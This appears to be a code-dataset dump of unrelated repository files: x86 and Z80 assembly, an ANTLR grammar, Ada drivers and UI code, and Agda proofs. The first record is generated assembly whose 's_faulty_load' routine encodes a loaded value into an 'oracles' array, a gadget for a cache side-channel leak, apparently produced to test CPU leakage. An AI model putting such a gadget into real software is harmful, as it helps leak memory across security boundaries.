.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r15 push %rcx push %rdi push %rsi lea addresses_A_ht+0x17970, %r14 nop nop nop nop nop and $56633, %r10 movw $0x6162, (%r14) nop nop sub $18108, %rcx lea addresses_D_ht+0xadb2, %r13 nop nop nop dec %rsi mov (%r13), %r11 and $31891, %r13 lea addresses_normal_ht+0x19b0a, %rsi nop nop nop nop nop and $48352, %rcx mov (%rsi), %r11w nop xor $49953, %r15 lea addresses_D_ht+0x1552, %rsi lea addresses_D_ht+0xa392, %rdi clflush (%rsi) nop nop nop nop and $28895, %r15 mov $123, %rcx rep movsw add %r14, %r14 lea addresses_WT_ht+0x1a000, %r15 dec %rdi movw $0x6162, (%r15) nop nop nop nop nop and %rdi, %rdi lea addresses_UC_ht+0x14499, %r10 nop nop dec %r13 mov (%r10), %edi xor %r15, %r15 lea addresses_UC_ht+0x179de, %r15 nop nop nop nop nop xor %r13, %r13 mov (%r15), %r14 nop nop nop nop nop xor $47907, %rdi lea addresses_UC_ht+0x8152, %r11 nop nop nop nop dec %r13 mov (%r11), %esi nop nop nop dec %r14 pop %rsi pop %rdi pop %rcx pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %rax push %rcx push %rdx // Store lea addresses_PSE+0x11d92, %r14 nop nop nop xor $27646, %r11 movb $0x51, (%r14) nop and $37853, %rdx // Store lea addresses_UC+0xc452, %r8 nop nop nop nop nop inc %r12 movb $0x51, (%r8) nop nop xor %r8, %r8 // Faulty Load lea addresses_UC+0x1a952, %rdx nop nop nop nop and $49631, %rax mov (%rdx), %r12 lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rdx pop %rcx pop %rax pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
legend-engine-language-external-store-service/src/main/antlr4/org/finos/legend/engine/language/pure/grammar/from/antlr4/ServiceStoreLexerGrammar.g4
hausea/legend-engine
0
5535
<reponame>hausea/legend-engine<gh_stars>0 lexer grammar ServiceStoreLexerGrammar; import M3LexerGrammar; // -------------------------------------- KEYWORD -------------------------------------- SERVICE_STORE: 'ServiceStore'; DESCRIPTION: 'description'; SERVICE_GROUP: 'ServiceGroup'; SERVICE: 'Service'; PATH: 'path'; REQUEST_BODY: 'requestBody'; METHOD: 'method'; PARAMETERS: 'parameters'; RESPONSE: 'response'; SECURITY_SCHEME: 'security'; ALLOW_RESERVED: 'allowReserved'; LOCATION: 'location'; STYLE: 'style'; EXPLODE: 'explode'; ENUM: 'enum'; // Mapping SERVICE_MAPPING: '~service'; PATH_MAPPING: '~path'; PARAM_MAPPING: '~paramMapping'; SERVICE_REFERENCE: '$service'; // -------------------------------------- BUILDING_BLOCK -------------------------------------- INVERTED_ARROW: '<-'; QUOTED_STRING: ('"' ( EscSeq | ~["\r\n] )* '"');
wp/resources/sample_binaries/user_func_spec/sub_spec_3/src/main_1.asm
zhouxuan009/cbat_tools
91
105082
<filename>wp/resources/sample_binaries/user_func_spec/sub_spec_3/src/main_1.asm ; ; Idea: ; ; Tests that our code sees and uses g's pre and post-conditions. ; --------------------------------------------------------------------------- ; ; To compile this: ; ; nasm -f elf64 -o main.o main.asm ; gcc -o main main.o ; ; To run it: ; ; ./main ; ; Expose the following functions (include size for ELF symbol table): global __assert_fail:function (__assert_fail.end - __assert_fail) global g:function (g.end - g) global main:function (main.end - main) ; --------------------------------------------------------------------------- SECTION .rodata ; --------------------------------------------------------------------------- ; A format string to print each command line argument. fmt: db `- %s\n` ; --------------------------------------------------------------------------- SECTION .text ; --------------------------------------------------------------------------- ; This function mimics the commented c above __assert_fail: mov rax, 60 mov rdi, 3 syscall ret .end: g: mov rax, 0x61 ret .end: main: call g mov rdi, rax cmp rdi, 0x67 je __assert_fail ret .end:
libsrc/_DEVELOPMENT/z180/c/sccz80/z180_delay_ms.asm
jpoikela/z88dk
640
166179
; void z180_delay_ms(uint ms) SECTION code_clib SECTION code_z180 PUBLIC z180_delay_ms EXTERN asm_z180_delay_ms defc z180_delay_ms = asm_z180_delay_ms
src/evb1000-led.adb
damaki/EVB1000
0
9605
------------------------------------------------------------------------------- -- Copyright (c) 2016 <NAME> -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to -- deal in the Software without restriction, including without limitation the -- rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -- sell copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS -- IN THE SOFTWARE. ------------------------------------------------------------------------------- with Interfaces; use Interfaces; with STM32.GPIO; with STM32.RCC; package body EVB1000.LED with SPARK_Mode => Off is LED_Pin_Mapping : constant array (LED_Number) of Natural := (1 => 8, 2 => 6, 3 => 9, 4 => 7); LED_On_Table : constant array (LED_Number, Boolean) of Unsigned_16 := (1 => (True => 16#0100#, False => 0), 2 => (True => 16#0040#, False => 0), 3 => (True => 16#0200#, False => 0), 4 => (True => 16#0080#, False => 0)); LED_Off_Table : constant array (LED_Number, Boolean) of Unsigned_16 := (1 => (True => 0, False => 16#0100#), 2 => (True => 0, False => 16#0040#), 3 => (True => 0, False => 16#0200#), 4 => (True => 0, False => 16#0080#)); LED_BSRR_Table : constant array (LED_Number, Boolean) of STM32.GPIO.BSRR_Register := (1 => (True => (BS => (As_Array => False, Val => 16#0100#), BR => (As_Array => False, Val => 0)), False => (BS => (As_Array => False, Val => 0), BR => (As_Array => False, Val => 16#0100#))), 2 => (True => (BS => (As_Array => False, Val => 16#0040#), BR => (As_Array => False, Val => 0)), False => (BS => (As_Array => False, Val => 0), BR => (As_Array => False, Val => 16#0040#))), 3 => (True => (BS => (As_Array => False, Val => 16#0200#), BR => (As_Array => False, Val => 0)), False => (BS => (As_Array => False, Val => 0), BR => (As_Array => False, Val => 16#0200#))), 4 => (True => (BS => (As_Array => False, Val => 16#0080#), BR => (As_Array => False, Val => 0)), False => (BS => (As_Array => False, Val => 0), BR => (As_Array => False, Val => 16#0080#)))); procedure Set_LED(LED : in LED_Number; On : in Boolean) is begin STM32.GPIO.GPIOC_Periph.BSRR := LED_BSRR_Table (LED, On); end Set_LED; procedure Set_LEDs(LEDs : in LED_Array) is begin STM32.GPIO.GPIOC_Periph.BSRR := (BS => (As_Array => False, Val => (LED_On_Table (1, LEDs (1)) or LED_On_Table (2, LEDs (2)) or LED_On_Table (3, LEDs (3)) or LED_On_Table (4, LEDs (4)))), BR => (As_Array => False, Val => (LED_Off_Table (1, LEDs (1)) or LED_Off_Table (2, LEDs (2)) or LED_Off_Table (3, LEDs (3)) or LED_Off_Table (4, LEDs (4))))); end Set_LEDs; procedure Toggle_LED (LED : in LED_Number) is use type STM32.Bit; ODR : constant STM32.GPIO.ODR_Field := STM32.GPIO.GPIOC_Periph.ODR.ODR; begin STM32.GPIO.GPIOC_Periph.BSRR := LED_BSRR_Table (LED, ODR.Arr (LED_Pin_Mapping (LED)) = 0); end Toggle_LED; begin -- Enable peripheral clock STM32.RCC.RCC_Periph.APB2ENR.IOPCEN := 1; -- Configure GPIOs (output 50 MHz, push-pull) declare CRL : STM32.GPIO.CRL_Register; CRH : STM32.GPIO.CRH_Register; begin CRL := STM32.GPIO.GPIOC_Periph.CRL; CRH := STM32.GPIO.GPIOC_Periph.CRH; CRL.MODE6 := 2#11#; CRL.MODE7 := 2#11#; CRH.MODE8 := 2#11#; CRH.MODE9 := 2#11#; CRL.CNF6 := 2#00#; CRL.CNF7 := 2#00#; CRH.CNF8 := 2#00#; CRH.CNF9 := 2#00#; STM32.GPIO.GPIOC_Periph.CRL := CRL; STM32.GPIO.GPIOC_Periph.CRH := CRH; end; Set_LEDs ( (others => False) ); end EVB1000.LED;
libsrc/_DEVELOPMENT/arch/sms/globals/z80/_GLOBAL_SMS_VDP_R0R1.asm
jpoikela/z88dk
640
18140
<gh_stars>100-1000 INCLUDE "config_private.inc" SECTION data_arch PUBLIC _GLOBAL_SMS_VDP_R0R1 PUBLIC _GLOBAL_SMS_VDP_R0 PUBLIC _GLOBAL_SMS_VDP_R1 _GLOBAL_SMS_VDP_R0R1: defb __SMS_VDP_R0, __SMS_VDP_R1 defc _GLOBAL_SMS_VDP_R0 = _GLOBAL_SMS_VDP_R0R1 defc _GLOBAL_SMS_VDP_R1 = _GLOBAL_SMS_VDP_R0R1 + 1
source/amf/uml/amf-uml-state_invariants.ads
svn2github/matreshka
24
30485
<filename>source/amf/uml/amf-uml-state_invariants.ads ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ -- A state invariant is a runtime constraint on the participants of the -- interaction. It may be used to specify a variety of different kinds of -- constraints, such as values of attributes or variables, internal or -- external states, and so on. A state invariant is an interaction fragment -- and it is placed on a lifeline. ------------------------------------------------------------------------------ limited with AMF.UML.Constraints; with AMF.UML.Interaction_Fragments; limited with AMF.UML.Lifelines; package AMF.UML.State_Invariants is pragma Preelaborate; type UML_State_Invariant is limited interface and AMF.UML.Interaction_Fragments.UML_Interaction_Fragment; type UML_State_Invariant_Access is access all UML_State_Invariant'Class; for UML_State_Invariant_Access'Storage_Size use 0; not overriding function Get_Covered (Self : not null access constant UML_State_Invariant) return AMF.UML.Lifelines.UML_Lifeline_Access is abstract; -- Getter of StateInvariant::covered. -- -- References the Lifeline on which the StateInvariant appears. not overriding procedure Set_Covered (Self : not null access UML_State_Invariant; To : AMF.UML.Lifelines.UML_Lifeline_Access) is abstract; -- Setter of StateInvariant::covered. -- -- References the Lifeline on which the StateInvariant appears. not overriding function Get_Invariant (Self : not null access constant UML_State_Invariant) return AMF.UML.Constraints.UML_Constraint_Access is abstract; -- Getter of StateInvariant::invariant. -- -- A Constraint that should hold at runtime for this StateInvariant not overriding procedure Set_Invariant (Self : not null access UML_State_Invariant; To : AMF.UML.Constraints.UML_Constraint_Access) is abstract; -- Setter of StateInvariant::invariant. -- -- A Constraint that should hold at runtime for this StateInvariant end AMF.UML.State_Invariants;
src/nso-types-report_objects-weather_report.adb
SSOCsoft/Log_Reporter
0
8757
With NSO.Helpers, Ada.Strings.Fixed, Ada.Calendar.Formatting, Ada.Characters.Latin_1, Ada.Tags, Gnoga.Types.Colors, Gnoga.Gui.View, Ada.Text_IO ; WITH Ada.Tags, Ada.Text_IO; with Gnoga.Gui.Base; Package Body NSO.Types.Report_Objects.Weather_Report is Use NSO.Helpers; DEBUGGING : Constant Boolean := False; Package Naming is new Name_Binder("Weather", Weather_Report); Function Get_Name(Self: Weather_Report) return String renames Naming.Get_Name; Report_Name : String renames Naming.Report_Name; --------------------------- -- Characters & Strings -- --------------------------- Package Latin_1 renames Ada.Characters.Latin_1; Left_Bracket : Character renames Latin_1.Left_Square_Bracket; -- [ Right_Bracket : Character renames Latin_1.Right_Square_Bracket; -- ] Bracket_Divide : Constant String := Right_Bracket & Left_Bracket; -- ][ New_Line : Constant String := (Latin_1.CR, Latin_1.LF); --------------------------- -- DISPLAY REPORT DATA -- --------------------------- Function Report_Header return String is Date_Time : String renames HTML_Tag("th", "Time / Date"); Wind_Speed : String renames HTML_Tag("th", "Wind Speed"); Temperature : String renames HTML_Tag("th", "Temperature"); Seeing : String renames HTML_Tag("th", "Seeing"); Conditions : String renames HTML_Tag("th", "Conditions"); Wind_Direction : String renames HTML_Tag("th", "Wind Direction"); Begin Return New_Line & HTML_Tag("thead", HTML_Tag("tr", Date_Time & Wind_Speed & Wind_Direction & Temperature & Seeing & Conditions) ) & New_Line; End Report_Header; Function Report( Cursor : Report_Map.Cursor ) return String is Use Report_Map, Ada.Calendar, Ada.Calendar.Formatting; Begin if not Has_Element(Cursor) then Return ""; else Declare Function "+"(Input : Sky) return string is ( Sky'Image(Input) ); Function "+"(Input : Direction) return string is ( Direction'Image(Input) ); Date : Time renames Key(Cursor); Data : Report_Data renames Element(Cursor); Date_Time : String renames HTML_Tag("th", Image(Date)); Wind_Speed : String renames HTML_Tag("td",+Data.Wind_Speed); Temperature : String renames HTML_Tag("td",+Data.Temperature); Seeing : String renames HTML_Tag("td",+Data.Seeing); Conditions : String renames HTML_Tag("td",+Data.Conditions); Wind_Direction : String renames HTML_Tag("td",+Data.Wind_Direction); Begin return New_Line & HTML_Tag("tr", Date_Time & Wind_Speed & Wind_Direction & Temperature & Seeing & Conditions ) & New_Line; End; End if; End Report; Function Report( Object : Report_Map.Map ) return String is Use NSO.Helpers; Function Report_Data( Cursor : Report_Map.Cursor:= Object.First ) return String is Next : Report_Map.Cursor renames Report_Map.Next(Cursor); Has_Next : Boolean renames Report_Map.Has_Element( Next ); Begin Return Report(Cursor) & (if not Has_Next then "" else Report_Data( Next )); End Report_Data; Caption : Constant String := HTML_Tag("Caption", Report_Name&" Report"); Begin return HTML_Tag("Table", Caption & Report_Header & HTML_Tag("tbody", Report_Data) ); End Report; -------------------------- -- CREATE REPORT DATA -- -------------------------- Function Report(Data : in NSO.JSON.Instance'Class) return Report_Map.Map is Use NSO.Types, NSO.JSON, Ada.Strings.Fixed; Package Fixed renames Ada.Strings.Fixed; Function Filter_Object is new Object_Filter( Report_Name ); Function Filter Return JSON.Instance'Class is ( Filter_Object(Data) ); -- The result to return. Working : Report_Map.Map; Current : Report_Map.Cursor; Procedure Process_Records(Name : String; Value : Instance'Class); Function Process_Parameters is new Process_Date_Time( Result => Working, Current => Current, Element => Report_Data, Date_Time_Map => Report_Map, Default => Report_Data'(others => <>), Report_Name => Report_Name, On_Object => Process_Records ); Procedure Process_Records(Name : String; Value : Instance'Class) is Data : Report_Data renames Working( Report_Map.Key(Current) ); Procedure Process_Value(Value : String) is Function "-"(Object: String) return Sky is (Sky'Value(Object)); Function "-"(Object: String) return Direction is (Direction'Value(Object)); Begin declare Field_Item : Field renames "+"(Name); Field_Pos : Constant Natural := Field'Pos(Field_Item); begin Case Field_Item is When Wind_Speed => Data.Wind_Speed := -Value; When Temperature => Data.Temperature := -Value; When Seeing => Data.Seeing := -Value; When Conditions => Data.Conditions := -Value; When Wind_Direction => Data.Wind_Direction := -Value; End Case; Data.Initalized(Field_Pos):= True; end; End Process_Value; Procedure Do_Process is new Apply(On_String => Process_Value); Begin Do_Process( Value ); End Process_Records; Begin Return Result : Report_Map.Map := Process_Parameters(Data) do -- Ensure all fields are initalized. for Cursor in reverse Result.Iterate loop declare K : Ada.Calendar.Time renames Report_Map.Key(Cursor); E : Report_Data renames Report_Map.Element( Cursor ); I : Bit_Vector renames E.Initalized; begin if not (for all X in I'Range => I(X)) then Result.Delete( K ); end if; end; end loop; End return; End Report; procedure Add_Self( Self : in Weather_Report; Form : in out Gnoga.Gui.Element.Form.Form_Type'Class ) is Use Gnoga.Gui.Element.Common, Gnoga.Gui.Element.Form; Package Form_Entry is new Generic_Form_Entry( Report_Type => Weather_Report, Report => Self'Access, Form => Form, Label => Self.Date.Value & ' ' & Self.Time.Value ); Package Items is new Form_Entry.Components(Text_Type, Text_Access, 5); Wind_Speed : Text_Type renames Items.Tuple(1).All; Wind_Dir : Text_Type renames Items.Tuple(2).All; Temperature : Text_Type renames Items.Tuple(3).All; Seeing : Text_Type renames Items.Tuple(4).All; Conditions : Text_Type renames Items.Tuple(5).All; Function Name is new Form_Entry.Name( Indices => Form_Entry.Index(Self.Date.Value) & Form_Entry.Index(Self.Time.Value) ); Begin Wind_Speed.Create (Form, Value => Self.Wind_Speed.Value, Name => Name("Wind_Speed")); Temperature.Create(Form, Value => Self.Temperature.Value, Name => Name("Temperature")); Seeing.Create (Form, Value => Self.Seeing.Value, Name => Name("Seeing")); Conditions.Create (Form, Value => Self.Conditions.Value, Name => Name("Conditions")); Wind_Dir.Create (Form, Value => Self.Wind_Direction.value, Name => Name("Wind_Direction")); Items.Set_Attributes; Items.Place_Items; End Add_Self; Procedure Weather_Div(Object : in out Weather_Report; Form : in out Gnoga.Gui.Element.Form.Form_Type'Class ) is Use Gnoga.Gui.Element.Form; Date : Date_Type renames Object.Date; Time : Time_Type renames Object.Time; Wind_Speed : Number_Type renames Object.Wind_Speed; Temperature : Number_Type renames Object.Temperature; Seeing : Number_Type renames Object.Seeing; Conditions : Selection_Type renames Object.Conditions; Wind_Direction : Selection_Type renames Object.Wind_Direction; Labels : Array(1..7) of Gnoga.Gui.Element.Form.Label_Type; Procedure Add_Directions is new Add_Discrete( NSO.Types.Direction ); Procedure Add_Conditions is new Add_Discrete( NSO.Types.Sky ); Procedure Add_Label( Label : in out Gnoga.Gui.Element.Form.Label_Type'Class; Form : in out Gnoga.Gui.Element.Form.Form_Type'Class; Item : in out Gnoga.Gui.Element.Element_Type'Class; Text : String ) is Begin Label.Create(Form, Item, Text, Auto_Place => False); Item.Place_Inside_Bottom_Of(Label); End Add_Label; Use Ada.Calendar.Formatting; Function Time_String return String is Use Ada.Strings.Fixed, Ada.Strings; Time_Image : String renames Image( Ada.Calendar.Clock ); Space : Natural renames Index(Time_Image, " ", Time_Image'First); Colon : Natural renames Index(Time_Image, ":", Time_Image'Last, Going => Backward); Begin Return Result : Constant String := Time_Image( Positive'Succ(Space)..Positive'Pred(Colon) ); End; Function Date_String return String is Use Ada.Strings.Fixed, Ada.Strings; Time_Image : String renames Image( Ada.Calendar.Clock ); Space : Natural renames Index(Time_Image, " ", Time_Image'First); Begin Return Result : Constant String := Time_Image( Time_Image'First..Positive'Pred(Space) ); End; Begin if DEBUGGING then Object.Background_Color( Gnoga.Types.Colors.Yellow ); end if; ----------------------- -- CREATE COMPONENTS -- ----------------------- Date.Create(Form => Form, ID => "Weather.Date", Value => Date_String); Time.Create(Form => Form, ID => "Weather.Time", Value => Time_String); Conditions.Create( Form, ID => "Weather.Condition" ); Wind_Direction.Create (Form, ID => "Weather.Wind_Direction"); Wind_Speed.Create( Form, ID => "Weather.Wind_Speed", Value => "0"); Wind_Speed.Maximum( 100 ); Wind_Speed.Minimum( 0 ); Wind_Speed.Step( 1 ); Temperature.Create( Form, ID => "Weather.Temperature", Value => "70"); Temperature.Maximum(120); Temperature.Minimum(-40); Temperature.Step(1); Seeing.Create( Form, ID => "Weather.Seeing", Value => "5"); Seeing.Maximum(8); Seeing.Minimum(1); Seeing.Step(1); ----------------- -- ADD OPTIONS -- ----------------- Add_Directions(Form, Wind_Direction); Add_Conditions(Form, Conditions); -------------------- -- CREATE LABELS -- -------------------- Add_Label( Labels(1), Form, Date, "Date:"); Add_Label( Labels(2), Form, Time, "Time:"); Add_Label( Labels(3), Form, Conditions, "Conditions:"); Add_Label( Labels(4), Form, Wind_Direction, "Wind Direction:"); Add_Label( Labels(5), Form, Wind_Speed, "Wind Speed:"); Add_Label( Labels(6), Form, Temperature, "Temperature:"); Add_Label( Labels(7), Form, Seeing, "Seeing:"); ------------------- -- PLACE OBJECTS -- ------------------- Labels(1).Place_Inside_Top_Of( Object ); For X in Positive'Succ(Labels'First)..Labels'Last loop Labels(X).Place_After( Labels( Positive'Pred(X) ) ); end loop; Object.Place_Inside_Bottom_Of( Form ); End Weather_Div; procedure Make --(Report : in out Weather_Report; -- Parent : in out Gnoga.Gui.Base.Base_Type'Class; -- Content : in String := ""; -- ID : in String := "" ) is is new Generic_Create( UI_Report_Div => Weather_Report, Populate_Div => Weather_Div, Name => Report_Name ); procedure Create (Report : in out Weather_Report; Parent : in out Gnoga.Gui.Base.Base_Type'Class; Content : in String := ""; ID : in String := "" ) renames Make; End NSO.Types.Report_Objects.Weather_Report;
src/main/antlr/GeneratorTarget.g4
raulmrebane/LaTeXEE
7
6461
<reponame>raulmrebane/LaTeXEE<gh_stars>1-10 grammar GeneratorTarget; highestLevel : highestNumber ; highestNumber : ; lowestLevel : '{' highestLevel '}' | LEXERRULE ; LEXERRULE : [0-9]+;
archive/agda-2/Oscar/Class/Substitution.agda
m0davis/oscar
0
15226
<filename>archive/agda-2/Oscar/Class/Substitution.agda module Oscar.Class.Substitution where open import Oscar.Data.Equality open import Oscar.Function open import Oscar.Relation open import Oscar.Level record Substitution {a} {A : Set a} {b} (B : A → Set b) {c} (C : A → Set c) : Set (a ⊔ b ⊔ c) where field ε : ∀ {m} → B m → C m _◇_ : ∀ {l m n} → (g : B m → C n) (f : B l → C m) → B l → C n ◇-left-identity : ∀ {m n} → (f : B m → C n) → ε ◇ f ≡̇ f ◇-right-identity : ∀ {m n} → (f : B m → C n) → f ◇ ε ≡̇ f ◇-associativity : ∀ {k l m n} (f : B k → C l) (g : B l → C m) (h : B m → C n) → h ◇ (g ◇ f) ≡̇ (h ◇ g) ◇ f open Substitution ⦃ … ⦄ public {-# DISPLAY Substitution._◇_ _ = _◇_ #-} instance Substitution-id : ∀ {a} {A : Set a} {bc} {BC : A → Set bc} → Substitution BC BC Substitution.ε Substitution-id = id Substitution._◇_ Substitution-id g f = g ∘ f Substitution.◇-left-identity Substitution-id _ _ = refl Substitution.◇-right-identity Substitution-id _ _ = refl Substitution.◇-associativity Substitution-id _ _ _ _ = refl
Cubical/Relation/Binary/Raw/Properties.agda
bijan2005/univalent-foundations
0
17225
